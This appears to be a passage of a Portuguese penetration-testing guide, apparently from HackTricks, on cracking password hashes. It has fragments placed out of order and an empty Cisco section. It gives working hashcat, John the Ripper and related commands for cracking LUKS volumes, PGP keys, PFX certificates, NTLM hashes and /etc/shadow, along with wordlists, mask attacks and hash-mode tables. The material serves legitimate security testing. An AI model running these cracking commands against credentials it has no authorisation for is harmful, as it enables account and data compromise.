+1 hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` Outro tutorial de BF Luks: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### Chave privada PGP/GPG ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco
### Chave Mestra DPAPI Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) e depois o john ### Coluna Protegida por Senha no Open Office Se você tiver um arquivo xlsx com uma coluna protegida por senha, você pode desprotegê-la: * **Faça o upload para o Google Drive** e a senha será removida automaticamente * Para **removê-la** **manualmente**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* # Find something like: # Remove that line and rezip the file zip -r file.xls . ``` ### Certificados PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ```
\ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas do mundo**.\ Acesse hoje mesmo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Ferramentas **Exemplos de hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Identificador de Hash ```bash hash-identifier > ``` ### Listas de Palavras * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) ### **Ferramentas de Geração de Listas de Palavras** * [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gerador avançado de sequências de teclado com caracteres base configuráveis, mapa de teclas e rotas. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### Mutação de John Leia _**/etc/john/john.conf**_ e configure-o ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` ### Hashcat #### Ataques do Hashcat * **Ataque de lista de palavras** (`-a 0`) com regras O **Hashcat** já vem com uma **pasta contendo regras** mas você pode encontrar [**outras regras interessantes aqui**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` * **Ataque de combinação de listas de palavras** É possível **combinar 2 listas de palavras em 1** com o hashcat.\ Se a lista 1 contiver a palavra **"hello"** e a segunda contiver 2 linhas com as palavras **"world"** e **"earth"**. As palavras `helloworld` e `helloearth` serão geradas. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt # Same attack as before but adding chars in the newly generated words # In the previous example this will generate: ## hello-world! ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` * **Ataque de máscara** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows ? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff # Mask attack declaring custom charset hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## -1 ?d?s defines a custom charset (digits and specials). ## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset. # Mask attack with variable password length ## Create a file called masks.hcmask with this content: ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` * Ataque de Lista de Palavras + Máscara (`-a 6`) / Ataque de Máscara + Lista de Palavras (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` #### Modos do Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` # Quebrando Hashes do Linux - arquivo /etc/shadow ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` # Quebra de Hashes do Windows Para quebrar hashes do Windows, você pode usar ferramentas como o **John the Ripper** ou o **Hashcat**. Essas ferramentas são capazes de realizar ataques de força bruta em hashes do Windows para descobrir as senhas originais. Certifique-se de usar dicionários de senhas e regras personalizadas para aumentar suas chances de sucesso na quebra dos hashes do Windows. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` # Quebrando Hashes de Aplicativos Comuns Ao realizar testes de penetração, é comum encontrar hashes de senhas armazenadas em bancos de dados de aplicativos. Para quebrar esses hashes e recuperar as senhas originais, os testadores de penetração geralmente recorrem a ataques de força bruta. ## Ataques de Força Bruta Os ataques de força bruta envolvem tentar todas as combinações possíveis de caracteres para encontrar a senha correta que corresponde ao hash. Existem várias ferramentas disponíveis que automatizam esse processo, como o John the Ripper e o Hashcat. ## Dicionários e Listas de Senhas Além dos ataques de força bruta, os testadores de penetração também podem usar dicionários e listas de senhas comuns para tentar quebrar os hashes mais rapidamente. Essas listas contêm senhas frequentemente usadas, vazadas em violações de dados anteriores. ## Salting Para tornar a quebra de hashes mais difícil, muitos aplicativos adicionam um "salt" às senhas antes de calcular o hash. O "salt" é um valor aleatório único que é concatenado com a senha antes de ser hash. Isso torna mais difícil para os atacantes pré-calcular hashes para senhas comuns. Ao lidar com hashes de aplicativos comuns, é importante estar ciente dessas técnicas e recursos para ajudar na quebra de senhas e garantir a segurança dos sistemas. ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ```
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